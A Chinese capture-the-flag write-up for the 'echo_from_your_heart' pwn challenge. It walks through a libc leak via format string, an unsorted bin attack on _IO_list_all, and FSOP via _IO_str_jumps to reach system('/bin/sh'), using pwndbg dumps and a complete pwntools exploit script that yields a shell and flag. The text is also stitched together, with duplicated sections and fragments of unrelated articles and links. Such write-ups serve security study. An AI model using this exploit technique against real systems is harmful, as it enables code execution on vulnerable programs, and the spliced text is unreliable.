0x00007ffff7dd1b88 pwndbg> p _IO_list_all $6 = (struct _IO_FILE_plus *) 0x7ffff7dd1b78 <main_arena+88> 至此UnsortedbinAttack的效果基本实现,成功修改了_IO_list_all的值,但是在后面的malloc函数中还完成了一个工作,那就是将刚刚我们构造的fake chunk添加到smallbin[6]中,源码如下: if (in_smallbin_range (size)) victim_index = smallbin_index (size);// victim_index=6 bck = bin_at (av, victim_index);//bck=&av->bins[10]-0x10 fwd = bck->fd; mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim;//old_top被加入av->bins[10]的链表中了。 bck->fd = victim; 观察修改之后堆空间的数据变化: pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00007ffff7dd2510 0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 0x7ffff7dd1ba8 <main_arena+136>: 0x00007ffff7dd1b98 0x00007ffff7dd1b98 0x7ffff7dd1bb8 <main_arena+152>: 0x00007ffff7dd1ba8 0x00007ffff7dd1ba8 0x7ffff7dd1bc8 <main_arena+168>: 0x00007ffff7dd1bb8 0x00007ffff7dd1bb8 0x7ffff7dd1bd8 <main_arena+184>: 0x00005555557560d0 0x00005555557560d0 FD BK 0x7ffff7dd1be8 <main_arena+200>: 0x00007ffff7dd1bd8 0x00007ffff7dd1bd8 k可以发现,此时的<main_arena+88>+0x68位置被修改成了0x00005555557560d0(即指向fake chunk的指针) 参照下图整理思路: 将<main_arena+88>处的数据按照_IO_FILE_plus格式解析之后发现_chain字段指向的是fake chunk pwndbg> p *(struct _IO_FILE_plus *)0x7ffff7dd1b78 $7 = { file = { _flags = 1433894784, _IO_read_ptr = 0x5555557560d0 "", _IO_read_end = 0x5555557560d0 "", _IO_read_base = 0x7ffff7dd2510 "", _IO_write_base = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU", _IO_write_ptr = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU", _IO_write_end = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", _IO_buf_base = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", _IO_buf_end = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", _IO_save_base = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", _IO_backup_base = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", _IO_save_end = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", _markers = 0x5555557560d0, _chain = 0x5555557560d0, # point to fake chunk _fileno = -136504360, _flags2 = 32767, _old_offset = 140737351850968, _cur_column = 7144, _vtable_offset = -35 '\335', _shortbuf = <incomplete sequence \367>, _lock = 0x7ffff7dd1be8 <main_arena+200>, _offset = 140737351851000, _codecvt = 0x7ffff7dd1bf8 <main_arena+216>, _wide_data = 0x7ffff7dd1c08 <main_arena+232>, _freeres_list = 0x7ffff7dd1c08 <main_arena+232>, _freeres_buf = 0x7ffff7dd1c18 <main_arena+248>, __pad5 = 140737351851032, _mode = -136504280, _unused2 = "\377\177\000\000(\034\335\367\377\177\000\000\070\034\335\367\377\177\000" vtable = 0x7ffff7dd1c38 <main_arena+280> 再看看我们之前构造的fake chunk的结构,也解析成一个类似_IO_FILE_plus结构体的样式 pwndbg> p *(struct _IO_FILE_plus *)0x5555557560d0 $8 = { file = { _flags = 0, _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>, _IO_read_end = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", _IO_read_base = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", _IO_write_base = 0x2 <error: Cannot access memory at address 0x2>, _IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>, _IO_write_end = 0x0, _IO_buf_base = 0x7ffff7b99e17 "/bin/sh", _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x0, _fileno = 0, _flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "", _lock = 0x0, _offset = 0, _codecvt = 0x0, _wide_data = 0x0, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = 0, _unused2 = '\000' <repeats 19 times> vtable = 0x7ffff7dd0798 到此UnsortedBinAttack的过程完毕 触发_IO_FILE漏洞的利用 上面的步骤是由脚本中的最后一个malloc(0x1)函数调用触发的,由于前期的堆空间的部署,导致我们劫持了_IO_list_all指针使其指向<main_arena+88>,将其视为_IO_FILE_plus结构体,其_chain字段指向fake chunk,即可实现文件结构利用。 实际上是由于在上面的UnsortedBin整理完毕之后,分配新的空间的时候检测发现当前堆空间的size大小是0,故触发异常,实现调用链 malloc_printerr ==> __libc_message ==> abort ==> _IO_flush_all_lockp ==> __IO_overflow 最后解释为什么fake chunk需要那样构造,此题目的环境是libc2.24,此时不能再像之前的直接修改vtable指针劫持函数,关于构造方法引用大佬的文章: 构造方法连接 libc2.24 添加check 利用io_str_jumps libc2.24对vtable做了一些限制约束,对 vtable 进行校验的函数是 IO_validate_vtable: static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable) /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable; vtable必须要满足 在 __stop___IO_vtables 和 __start___libc_IO_vtables 之间,而我们伪造的vtable通常不满足这个条件。 但是_IO_str_jumps 与__IO_wstr_jumps就位于 __stop___libc_IO_vtables 和 __start___libc_IO_vtables 之间, 所以我们是可以利用他们来通过 IO_validate_vtable 的检测的,只需要将vtable填成_IO_str_jumps 或__IO_wstr_jumps就行。 利用方式两种: 利用__IO_str_jumps中的_IO_str_finsh函数利用__IO_str_jumps中的_IO_str_overflow函数 如何确定io_str_jumps地址? 由于 _IO_str_jumps 不是导出符号,libc.sym["_IO_str_jumps"] 查不到,我们可以利用 _IO_str_jumps中的导出函数,例如 _IO_str_underflow 进行辅助定位,我们可以利用gdb去查找所有包含这个_IO_str_underflow 函数地址的内存地址,如下所示 pwndbg> p _IO_str_underflow $1 = {<text variable, no debug info>} 0x7f4d4cf04790 <_IO_str_underflow> pwndbg> search -p 0x7f4d4cf04790 libc.so.6 0x7f4d4d2240a0 0x7f4d4cf04790 libc.so.6 0x7f4d4d224160 0x7f4d4cf04790 libc.so.6 0x7f4d4d2245e0 0x7f4d4cf04790 pwndbg> p &_IO_file_jumps $2 = (<data variable, no debug info> *) 0x7f4d4d224440 <_IO_file_jumps> 可以通过_IO_str_jumps 的地址大于_IO_file_jumps 地址的条件,可以确定最后一个是符合_IO_str_jumps的地址,_IO_str_underflow 在_IO_str_jumps 的偏移为0x20,我们可以计算出_IO_str_jumps = 0x7f4d4d2245c0,可以通过一下脚本实现这一过程(GLIBC 2.23、2.24版本均测试通过): IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print possible_IO_str_jumps_offset break io_str_finish void _IO_str_finish (FILE *fp, int dummy) if (fp->_IO_buf_base && !(fp->_flags & 1)) ((void (*)(void))fp + 0xE8 ) (fp->_IO_buf_base); // call qword ptr [fp+E8h] fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0); fp->_IO_buf_base为真 fp->_flags & 1 为假 // fp->_flags=0 1. fp->_mode = 0 2. fp->_IO_write_ptr > fp->_IO_write_base 3. fp->_IO_read_ptr = 0x61 , smallbin4 + 8 (smallbin size) 4. fp->_IO_read_base = _IO_list_all -0x10 , smallbin -> bk, unsorted bin attack (以上为绕过_IO_flush_all_lockp的条件) vtable = _IO_str_jumps - 8 ,这样调用_IO_overflow时会调用到 _IO_str_finish 5. fp->_flags= 0 6. fp->_IO_buf_base = binsh_addr 7. fp+0xe8 = system_addr fp+E8处填成system_addr ,还有 fp->_IO_buf_base填上binsh_addr地址主要是利用__IO_str_jumps地址错位的方法,通过_IO_str_jumps - 8来调用_IO_str_finish(通过别的函数偏移可能不一样) 调用_IO_flush_all_lockp: 0x7ffff7a89194 <_IO_flush_all_lockp+356> mov rax, qword ptr [rbx + 0xd8] ► 0x7ffff7a8919b <_IO_flush_all_lockp+363> mov esi, 0xffffffff 0x7ffff7a891a0 <_IO_flush_all_lockp+368> mov rdi, rbx 0x7ffff7a891a3 <_IO_flush_all_lockp+371> call qword ptr [rax + 0x18] 调用_IO_str_finish: ► 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi 即将call _IO_str_finish: ► 0x7ffff7a89fc2 <_IO_str_finish+18> call qword ptr [rbx + 0xe8] <system> 调用system: pwndbg> si RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ *RIP 0x7ffff7a523a0 (system) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── ► 0x7ffff7a523a0 <system> test rdi, rdi 0x7ffff7a523a3 <system+3> je system+16 <system+16> 0x7ffff7a523a5 <system+5> jmp do_system <do_system> 0x7ffff7a51e30 <do_system> push r12 0x7ffff7a51e32 <do_system+2> push rbp 0x7ffff7a51e33 <do_system+3> xor eax, eax 关于“/bin/sh”参数的偏移位置 RDX 0x0 RDI 0x5555557560d0 ◂— 0x0 # RDI point to fake chunk RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb4 (_IO_str_finish+4) ◂— mov rdi, qword ptr [rdi + 0x38] ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi ► 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> 0x00007ffff7a89fb8 319 in strops.c LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── RAX 0x7ffff7dd0798 ◂— 0x0 RBX 0x5555557560d0 ◂— 0x0 RCX 0x7ffff7a42740 (sigprocmask+16) ◂— cmp rax, -0x1000 /* 'H=' */ RDX 0x0 *RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb8 (_IO_str_finish+8) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ► 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi from pwn import * from LibcSearcher import * context.log_level='debug' context.terminal = ['terminator', '-x', 'sh', '-c'] # io = remote("220.249.52.134",59762) io = process("./echo_from_your_heart") elf = ELF("./echo_from_your_heart") context(arch = "amd64", os = 'linux') # libc = ELF("./libc-2.24.so") libc = ELF("./libc-2.23.so") gdb.attach(io,"b * $rebase(0x942)\nb * $rebase(0x984)") def mian_fun(length,word): io.recvuntil("lens of your word: ") io.sendline(str(length)) io.recvuntil("word: ") io.sendline(word) def main(): payload = b"deadbeef" + b"%1$p%2$p%3$p%4$p%5$p%6$p%7$p%8$p" + b"a"*0x60 + 2*p64(0) + p64(0xf61) mian_fun(0x90,payload) io.recvuntil("deadbeef") address_list = io.recv() libc_start_mian = address_list.split(b"0x")[-1][0:12] libc_start_mian = int(libc_start_mian,16) - 240 log.success("libc_start_mian -> "+hex(libc_start_mian)) obj = LibcSearcher("__libc_start_main",libc_start_mian) libcbase = libc_start_mian - obj.dump("__libc_start_main") print(hex(libcbase)) system_addr = libcbase + obj.dump("system") log.success("system_addr -> "+hex(system_addr)) str_bin_sh_addr = libcbase + obj.dump("str_bin_sh") log.success("str_bin_sh_addr -> "+hex(str_bin_sh_addr)) payload = b"b"*0xf58 mian_fun(0xf70,payload) IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print("possible_IO_str_jumps_offset"+hex(possible_IO_str_jumps_offset)) io_str_jumps = libcbase + possible_IO_str_jumps_offset log.success("io_str_jumps -> "+hex(io_str_jumps)) break io_list_all = libcbase + obj.dump("_IO_list_all") log.success("io_list_all -> "+hex(io_list_all)) # vtable_addr = libcbase+libc.symbols["_IO_str_jumps"] # libc2.24 # vtable_addr = libcbase + obj.dump('_IO_str_jumps') # libc2.23 # log.success("_IO_str_jumps -> "+hex(vtable_addr)) # jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps vtable_addr = io_str_jumps payload = b"b"*0x20 # Plan A fakechunk = p64(0) + p64(0x61) # unsorted bin attack fakechunk += p64(0) + p64(io_list_all-0x10) # FD and BK(point to _IO_list_all-0x10) fakechunk += p64(2) + p64(3) fakechunk += p64(0) + p64(str_bin_sh_addr) fakechunk = fakechunk.ljust(0xd0, b"\x00") fakechunk += p64(0) fakechunk += p64(vtable_addr-0x8) fakechunk = fakechunk.ljust(0xe8, b"\x00") payload += fakechunk payload += p64(system_addr) mian_fun(0x20,payload) io.sendline("1") io.interactive() if __name__ == '__main__': main() 执行成功效果 ======= Memory map: ======== 555555554000-555555555000 r-xp 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555754000-555555755000 r--p 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555755000-555555756000 rw-p 00001000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555756000-555555799000 rw-p 00000000 00:00 0 [heap] 7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0 7ffff0021000-7ffff4000000 ---p 00000000 00:00 0 7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7fdc000-7ffff7fdf000 rw-p 00000000 00:00 0 7ffff7ff6000-7ffff7ff7000 rw-p 00000000 00:00 0 7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar] 7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] 7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x19 bytes: b'flag{Cragratulations!!!}\n' flag{Cragratulations!!!} IO_FILE概述IO_FILE结构介绍利用IO_FILE进行leakFSOP总结 这是pwn题堆利用系列的第三篇文章,本篇文章主要讲解一下IO_FILE结构在pwn题中的利用。一般来说,想到使用IO_FILE结构,是因为pwn题中没有可以用来leak的函数。 IO_FILE结构介绍 FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中,然后以链表的形式串联起来,但系统一开始创建的三个文件st struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read 链接:https://pan.baidu.com/s/1vSrgF4iQ-2X6gQSciEPi9Q 密码:g2hc #####这是一道简单的io_file的题,通过这个题大概可以知道io_file的机制,总的来说其实就是控制fd指针导致最后指针指向我们需要控制的函数 ######先拖入ida: __int6... 这两题都是关于_IO_FILE文件流攻击的题目,如果对_IO_FILE文件流不是很清楚,可以看ctfwiki中的_IO_FILE介绍——传送门。 echo_back——关于_IO_2_1_stdin结构的利用 文件保护全开,不能got覆写。 进入IDA,发现程序有两个功能,一个是setname,一个是echo back。 查看setname功能,发现此功能只能输入7个字节,不具备RO... arena usage: arena [-h] [addr] Prints out the main arena or the arena at the specified by address.打印main arena特定地址的arena arenas usage: arenas [-h]...
get()
前面创造的free chunk如下所示:
pwndbg> vis 0x555555756000 0x0000000000000000 0x00000000000000a1 ................ 0x555555756010 0x6665656264616564 0x7024322570243125 deadbeef%1$p%2$p 0x555555756020 0x7024342570243325 0x7024362570243525 %3$p%4$p%5$p%6$p 0x555555756030 0x7024382570243725 0x6161616161616161 %7$p%8$paaaaaaaa 0x555555756040 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa 0x555555756090 0x6161616161616161 0x0000000000000000 aaaaaaaa........ 0x5555557560a0 0x0000000000000000 0x0000000000000f41 ........A....... <-- unsortedbin[all][0] 0x5555557560b0 0x00007ffff7dd1b78 0x00007ffff7dd1b78 x.......x....... 0x5555557560c0 0x0000000000000000 0x0000000000000000 ................ 再次malloc(0x20)之后得到 ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> vis 0x555555756000 0x0000000000000000 0x00000000000000a1 ................ 0x555555756010 0x6665656264616564 0x7024322570243125 deadbeef%1$p%2$p 0x555555756020 0x7024342570243325 0x7024362570243525 %3$p%4$p%5$p%6$p 0x555555756030 0x7024382570243725 0x6161616161616161 %7$p%8$paaaaaaaa 0x555555756040 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa 0x555555756090 0x6161616161616161 0x0000000000000000 aaaaaaaa........ 0x5555557560a0 0x0000000000000000 0x0000000000000031 ........1....... 0x5555557560b0 0x00007ffff7dd2188 0x00007ffff7dd2188 .!.......!...... 0x5555557560c0 0x00005555557560a0 0x00005555557560a0 .`uUUU...`uUUU.. 0x5555557560d0 0x0000000000000000 0x0000000000000f11 ................ <-- unsortedbin[all][0] 0x5555557560e0 0x00007ffff7dd1b78 0x00007ffff7dd1b78 x.......x....... 0x5555557560f0 0x0000000000000000 0x0000000000000000 ................ 得到这个0x20堆空间之后,利用get()函数的溢出覆盖unsortedbin[all][0] pwndbg> vis 0x555555756000 0x0000000000000000 0x00000000000000a1 ................ 0x555555756010 0x6665656264616564 0x7024322570243125 deadbeef%1$p%2$p 0x555555756020 0x7024342570243325 0x7024362570243525 %3$p%4$p%5$p%6$p 0x555555756030 0x7024382570243725 0x6161616161616161 %7$p%8$paaaaaaaa 0x555555756090 0x6161616161616161 0x0000000000000000 aaaaaaaa........ 0x5555557560a0 0x0000000000000000 0x0000000000000031 ........1....... 0x5555557560b0 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb 0x5555557560c0 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb 0x5555557560d0 0x0000000000000000 0x0000000000000061 ........a....... <-- unsortedbin[all][0] 0x5555557560e0 0x0000000000000000 0x00007ffff7dd2510 .........%...... 0x5555557560f0 0x0000000000000002 0x0000000000000003 ................ 0x555555756100 0x0000000000000000 0x00007ffff7b99e17 ................ 0x555555756110 0x0000000000000000 0x0000000000000000 ................ 0x555555756120 0x0000000000000000 0x0000000000000000 ................ 0x555555756130: 0x0000000000000000 0x0000000000000000 0x555555756140: 0x0000000000000000 0x0000000000000000 0x555555756150: 0x0000000000000000 0x0000000000000000 0x555555756160: 0x0000000000000000 0x0000000000000000 0x555555756170: 0x0000000000000000 0x0000000000000000 0x555555756180: 0x0000000000000000 0x0000000000000000 0x555555756190: 0x0000000000000000 0x0000000000000000 0x5555557561a0: 0x0000000000000000 0x00007ffff7dd0798 0x5555557561b0: 0x0000000000000000 0x00007ffff7a523a0 0x5555557561c0: 0x0000000000000000 0x0000000000000000 可以发现从0x5555557560d0开始,是我们构造的fake chunk,具体为什么要这么构造,先放一放,后面在做解释,这里涉及到Unsortedbin Attack的部分需要注意的是这段 0x5555557560d0 0x0000000000000000 0x0000000000000061 ........a....... <-- unsortedbin[all][0] 0x5555557560e0 0x0000000000000000 0x00007ffff7dd2510 .........%...... 我们将原本的unsortedbin[all][0]的堆块大小改为0x61,将其BK指向了_IO_list_all-0x10的位置(即0x00007ffff7dd2510) 再次执行malloc()函数时,将触发Unsortedbin的拆链,源码如下: victim = unsorted_bin(av)->bk = p; bck = victim->bk = target_addr - 0x10; // victim->bk is p->bk unsorted_bin(av)->bk = bck; bck->fd = unsorted_bin(av); // bck->fd is *(target_addr) 经过上面这几步之后,将_IO_list_all修改成了指向main_arena+88的值 单独观察堆中的值,在Unsortedbin拆链之前(未被溢出覆盖时): pwndbg> x/50xg 0x555555756000 0x5555557560a0: 0x0000000000000000 0x0000000000000031 0x5555557560b0: 0x00007ffff7dd2188 0x00007ffff7dd2188 0x5555557560c0: 0x00005555557560a0 0x00005555557560a0 0x5555557560d0: 0x0000000000000000 0x0000000000000f11 0x5555557560e0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 FD BK 0x5555557560f0: 0x0000000000000000 0x0000000000000000 0x555555756100: 0x0000000000000000 0x0000000000000000 pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 FD point to topchunk BK 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00005555557560d0 pwndbg> p _IO_list_all $5 = (struct _IO_FILE_plus *) 0x7ffff7dd2540 <_IO_2_1_stderr_> 拆链之后: pwndbg> x/50xg 0x555555756000 0x5555557560a0: 0x0000000000000000 0x0000000000000031 0x5555557560b0: 0x6262626262626262 0x6262626262626262 0x5555557560c0: 0x6262626262626262 0x6262626262626262 0x5555557560d0: 0x0000000000000000 0x0000000000000061 0x5555557560e0: 0x0000000000000000 0x00007ffff7dd2510 target_addr-0x10 0x5555557560f0: 0x0000000000000002 0x0000000000000003 0x555555756100: 0x0000000000000000 0x00007ffff7b99e17 0x555555756110: 0x0000000000000000 0x0000000000000000 pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00007ffff7dd2510 0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 pwndbg> p _IO_list_all $6 = (struct _IO_FILE_plus *) 0x7ffff7dd1b78 <main_arena+88> 至此UnsortedbinAttack的效果基本实现,成功修改了_IO_list_all的值,但是在后面的malloc函数中还完成了一个工作,那就是将刚刚我们构造的fake chunk添加到smallbin[6]中,源码如下: if (in_smallbin_range (size)) victim_index = smallbin_index (size);// victim_index=6 bck = bin_at (av, victim_index);//bck=&av->bins[10]-0x10 fwd = bck->fd; mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim;//old_top被加入av->bins[10]的链表中了。 bck->fd = victim; 观察修改之后堆空间的数据变化: pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00007ffff7dd2510 0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 0x7ffff7dd1ba8 <main_arena+136>: 0x00007ffff7dd1b98 0x00007ffff7dd1b98 0x7ffff7dd1bb8 <main_arena+152>: 0x00007ffff7dd1ba8 0x00007ffff7dd1ba8 0x7ffff7dd1bc8 <main_arena+168>: 0x00007ffff7dd1bb8 0x00007ffff7dd1bb8 0x7ffff7dd1bd8 <main_arena+184>: 0x00005555557560d0 0x00005555557560d0 FD BK 0x7ffff7dd1be8 <main_arena+200>: 0x00007ffff7dd1bd8 0x00007ffff7dd1bd8 k可以发现,此时的<main_arena+88>+0x68位置被修改成了0x00005555557560d0(即指向fake chunk的指针) 参照下图整理思路: 将<main_arena+88>处的数据按照_IO_FILE_plus格式解析之后发现_chain字段指向的是fake chunk pwndbg> p *(struct _IO_FILE_plus *)0x7ffff7dd1b78 $7 = { file = { _flags = 1433894784, _IO_read_ptr = 0x5555557560d0 "", _IO_read_end = 0x5555557560d0 "", _IO_read_base = 0x7ffff7dd2510 "", _IO_write_base = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU", _IO_write_ptr = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU", _IO_write_end = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", _IO_buf_base = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", _IO_buf_end = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", _IO_save_base = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", _IO_backup_base = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", _IO_save_end = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", _markers = 0x5555557560d0, _chain = 0x5555557560d0, # point to fake chunk _fileno = -136504360, _flags2 = 32767, _old_offset = 140737351850968, _cur_column = 7144, _vtable_offset = -35 '\335', _shortbuf = <incomplete sequence \367>, _lock = 0x7ffff7dd1be8 <main_arena+200>, _offset = 140737351851000, _codecvt = 0x7ffff7dd1bf8 <main_arena+216>, _wide_data = 0x7ffff7dd1c08 <main_arena+232>, _freeres_list = 0x7ffff7dd1c08 <main_arena+232>, _freeres_buf = 0x7ffff7dd1c18 <main_arena+248>, __pad5 = 140737351851032, _mode = -136504280, _unused2 = "\377\177\000\000(\034\335\367\377\177\000\000\070\034\335\367\377\177\000" vtable = 0x7ffff7dd1c38 <main_arena+280> 再看看我们之前构造的fake chunk的结构,也解析成一个类似_IO_FILE_plus结构体的样式 pwndbg> p *(struct _IO_FILE_plus *)0x5555557560d0 $8 = { file = { _flags = 0, _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>, _IO_read_end = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", _IO_read_base = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", _IO_write_base = 0x2 <error: Cannot access memory at address 0x2>, _IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>, _IO_write_end = 0x0, _IO_buf_base = 0x7ffff7b99e17 "/bin/sh", _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x0, _fileno = 0, _flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "", _lock = 0x0, _offset = 0, _codecvt = 0x0, _wide_data = 0x0, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = 0, _unused2 = '\000' <repeats 19 times> vtable = 0x7ffff7dd0798 到此UnsortedBinAttack的过程完毕 触发_IO_FILE漏洞的利用 上面的步骤是由脚本中的最后一个malloc(0x1)函数调用触发的,由于前期的堆空间的部署,导致我们劫持了_IO_list_all指针使其指向<main_arena+88>,将其视为_IO_FILE_plus结构体,其_chain字段指向fake chunk,即可实现文件结构利用。 